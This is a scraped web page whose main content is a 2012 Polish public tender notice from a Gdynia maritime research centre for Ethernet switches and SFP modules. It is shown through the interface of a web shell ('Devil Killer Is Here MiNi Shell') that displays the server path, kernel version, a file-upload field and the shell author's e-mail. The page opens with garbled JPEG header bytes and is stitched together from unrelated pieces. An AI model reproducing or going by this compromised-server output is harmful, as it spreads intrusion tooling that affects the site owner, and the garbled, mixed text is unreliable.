JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20120717/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20120717/255338-N-2012.html

<p class="kh_header"><b>Gdynia: Dostawa switcha</b><br>
<b>Numer ogłoszenia: 255338 - 2012; data zamieszczenia: 17.07.2012</b><br>
OGŁOSZENIE O ZAMÓWIENIU - dostawy<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Ośrodek Badawczo - Rozwojowy Centrum Techniki Morskiej , ul. A. Dickmana 62, 81-109 Gdynia, woj. pomorskie, tel. 058 6665318, faks 058 6665304.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.ctm.gdynia.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Inny: Jednostka Badawczo-Rozwojowa.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Dostawa switcha.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> dostawy.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Wymagania na: switche Ethernetowe i wkładki SFP dla WS 
Gwarancja: 3 lat
Termin realizacji: maksymalnie 4 tygodnie

Zamawiający dopuszcza możliwość składania zamówień uzupełniających z listy niżej wymienionej.
Zamawiający dopuszcza możliwość składania ofert z elementami równoważnymi w stosunku do przedstawionych w specyfikacji.
Warunkiem oferty równoważnej jest zaoferowanie produktów o cechach i właściwościach nie gorszych od produktów przedstawionych poniżej.
Wykazanie równoważności zaoferowanego przedmiotu zamówienia spoczywa na wykonawcy.

Cześć 1 - Switch Ethernetowy - szt. 2
1.	Switch musi zapewniać poprawną pracę w oparciu o poniższe standardy sieciowe:
a.	IEEE 802.3 for 10BaseT
b.	IEEE 802.3u for 100BaseT X and 100BaseFX
c.	IEEE 802.3ab for 1000BaseT X
d.	IEEE 802.3z for 1000BaseSX LX LHX ZX
e.	IEEE 802.3x for Flow Control
f.	IEEE 802.1D for Spanning Tree Protocol
g.	IEEE 802.1w for Rapid STP
h.	IEEE 802.1Q for VLAN Tagging
i.	IEEE 802.1p for Class of Service
j.	IEEE 802.1X for Authentication
k.	IEEE 802.3ad for Port Trunk with LACP

2.	Switch musi wspierać poniższe protokoły:
a.	IGMPv1 v2 device
b.	GMRP
c.	GVRP
d.	SNMPv1 v2c v3
e.	DHCP Server Client
f.	DHCP Option 66 67 82
g.	BOOT
h.	TFTP
i.	SNTP
j.	SMTP
k.	RARP
l.	RMON
m.	HTTP, HTTPS
n.	 Telnet, SSH
o.	Syslog
p.	Modbus/TCP
q.	LLDP
r.	IEEE 1588 PTP
3.	Switch musi zapewniać przełączanie w warstwie 3 modelu ISO OSI layer 3 switching z użyciem następujących mechanizmów:
a.	Static routing
b.	RIP V1 V2
c.	OSPF
d.	VRRP for router redundancy
4.	Switch musi charakteryzować się wartościami nie gorszymi niż poniższe w stosunku do wyszczególnionych parametrów i ich wielkości:
a.	Priority queues:	8
b.	Max number o available VLAN s:	256
c.	VLAN ID Range:	VID 1 do 4094
d.	MAC Table size:	16 000
e.	IGMP Groups and multicast route:	1000
f.	Packet buffer size:	12 Mbit
g.	DRAM Size:		128 MB
h.	Flash size:		16 MB
i.	Jumbo frame size:	9,6 KB
j.	Switch fabric capacity:	48 Gbps
k.	Forwarding rate:	35 Mpps

5.	Switch musi być wyposażony w co najmniej:
a.	24 porty 1000BaseSFP slot
b.	Port konsoli - RS-232
6.	Switch musi spełniać poniższe wytyczne dla zasilania w energię elektryczną:
a.	Input voltage:		220 VAC  85 to 264 VAC
b.	Input current:		Max. 0.5 A @ 220 VAC
c.	posiadać ochronę przed przeciążeniem
d.	posiadać ochronę przed zmianą polaryzacji
7.	Switch w zakresie obudowy i montażu musi spełniać poniższe minimalne warunki:

a.	Stopień ochrony:	IP30
b.	Nie przekraczać wymiarów:	440 szerokość x 44 wysokość  x 390 głębokość mm
c.	Obudowa w standardzie rack mount 19

8.	W zakresie wymagań środowiskowych switch musi spełniać poniższe wymagania minimalne:

a.	Temperatura pracy urządzenia:	-40 do 75°C
b.	Temperatura przechowywania:	-40 to 85°C
c.	Wilgotność względna:		5 to 95%  bez kondensacji
d.	Udary: 				IEC 60068-2-27
e.	Swobodny upadek:			IEC 60068-2-32
f.	Wibracje:				IEC 60068-2-6

9.	Switch musi posiadać co najmniej poniższe certyfikaty w zakresie bezpieczeństwa i ochrony EMI:

a.	W zakresie bezpieczeństwa:		UL 60950-1, EN 60950-1
b.	W zakresie ochrony EMI:		FCC Part 15 Subpart B Class A, EN55022 Class A

10.	Switch musi być objęty 3 letnią gwarancją na ternie Europy i Azji.

11.	Wraz ze switchem musi być dostarczone CoC uwzględniające wszystkie wymagane parametry środowiskowe.  

12.	Średni czas pomiędzy awariami MTBF dla switcha powinien być większy niż:	270 000 godzin


Część 2 - wkładki SFP - szt. 48


1.	Wkładki muszą być wykonane w standardzie SFP i pochodzić od producenta switcha z części 1.
2.	W zakresie wymagań środowiskowych wkładki muszą spełniać poniższe wymagania minimalne:

a.	Temperatura pracy urządzenia:	-40 do 85°C
b.	Temperatura przechowywania:	-40 to 85°C
c.	Wilgotność względna:		5 to 95% bez kondensacji

3.	Wkładki muszą posiadać dwa złącza światłowodowe typu LC
4.	Wkładki muszą pracować w poniższych zakresach długości fal i tłumienności:

a.	Robocza długośc fali:		1310 nm
b.	Max./Min. TX:	-1 dB  -9 dB
c.	RX sensitivity:	-19 dB
d.	Saturacja:		-3 dB
e.	Budżet mocy nie mniej niż:	10 dB

5.	Wkładki muszą posiadać co najmniej poniższe certyfikaty w zakresie bezpieczeństwa:

a.	W zakresie bezpieczeństwa:		UL 60950-1, TUV

6.	Wkładki muszą być objęte 3 letnią gwarancją na ternie Europy i Azji.</p>
<p><b>II.1.4) Czy przewiduje się udzielenie zamówień uzupełniających:</b> nie.</p>

<p><b>II.1.5) Wspólny Słownik Zamówień (CPV):</b> 32.42.00.00-3.</p>
<p><b>II.1.6) Czy dopuszcza się złożenie oferty częściowej:</b> nie.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Okres w miesiącach: 1.</p>

<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WADIUM</b></p>
<p><b>Informacja na temat wadium:</b> nie dotyczy</p>
<p><b>III.2) ZALICZKI</b></p>
<ul class="kh_indent_1"><li><b>Czy przewiduje się udzielenie zaliczek na poczet wykonania zamówienia:</b> nie</li></ul>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>OŚWIADCZENIE WYKONAWCY w postępowaniu o udzielenie zamówienia publicznego o spełnianiu warunków udziału w postępowaniu stosownie do treści art. 22 ust. 1</p>
</li></ul></li><li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>OŚWIADCZENIE WYKONAWCY w postępowaniu o udzielenie zamówienia publicznego o spełnianiu warunków udziału w postępowaniu stosownie do treści art. 22 ust. 1</p>
</li></ul></li><li><p><b>III.3.3) Potencjał techniczny</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>OŚWIADCZENIE WYKONAWCY w postępowaniu o udzielenie zamówienia publicznego o spełnianiu warunków udziału w postępowaniu stosownie do treści art. 22 ust. 1</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>OŚWIADCZENIE WYKONAWCY w postępowaniu o udzielenie zamówienia publicznego o spełnianiu warunków udziału w postępowaniu stosownie do treści art. 22 ust. 1</p>
</li></ul></li><li><p><b>III.3.5) Sytuacja ekonomiczna i finansowa</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>OŚWIADCZENIE WYKONAWCY w postępowaniu o udzielenie zamówienia publicznego o spełnianiu warunków udziału w postępowaniu stosownie do treści art. 22 ust. 1</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<ul class="kh_indent_1"><li>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnieniu warunków udziału w postępowaniu, należy przedłożyć:</b></p>
</li>

<li><p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru, jeżeli odrębne przepisy wymagają wpisu do rejestru, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert, a w stosunku do osób fizycznych oświadczenie w zakresie art. 24 ust. 1 pkt 2 ustawy</li>

</ul></li>
<li>
<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert</li>

</ul></li>
</ul>

<p><b>III.7) Czy ogranicza się możliwość ubiegania się o zamówienie publiczne tylko dla wykonawców, u których ponad 50 % pracowników stanowią osoby niepełnosprawne: </b>nie</p>


<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p>
<p><b>IV.2.2) Czy przeprowadzona będzie aukcja elektroniczna:</b> nie.</p>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>Czy przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b>nie</p>

<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> http://www.ctm.gdynia.pl/zamowienia_publiczne/<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Ośrodek Badawczo - Rozwojowy Centrum Techniki Morskiej S.A. Adres do korespondencji: 81-109 Gdynia, ul. A. Dickmana 62. Faks do korespondencji w sprawie Zamówienia: (058) 666 53 31.</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 27.07.2012 godzina 12:00, miejsce: Ośrodek Badawczo - Rozwojowy Centrum Techniki Morskiej S.A. Adres do korespondencji: 81-109 Gdynia, ul. A. Dickmana 62. Faks do korespondencji w sprawie Zamówienia: (058) 666 53 31.</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>





<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>

Creat By MiNi SheLL
Email: jattceo@gmail.com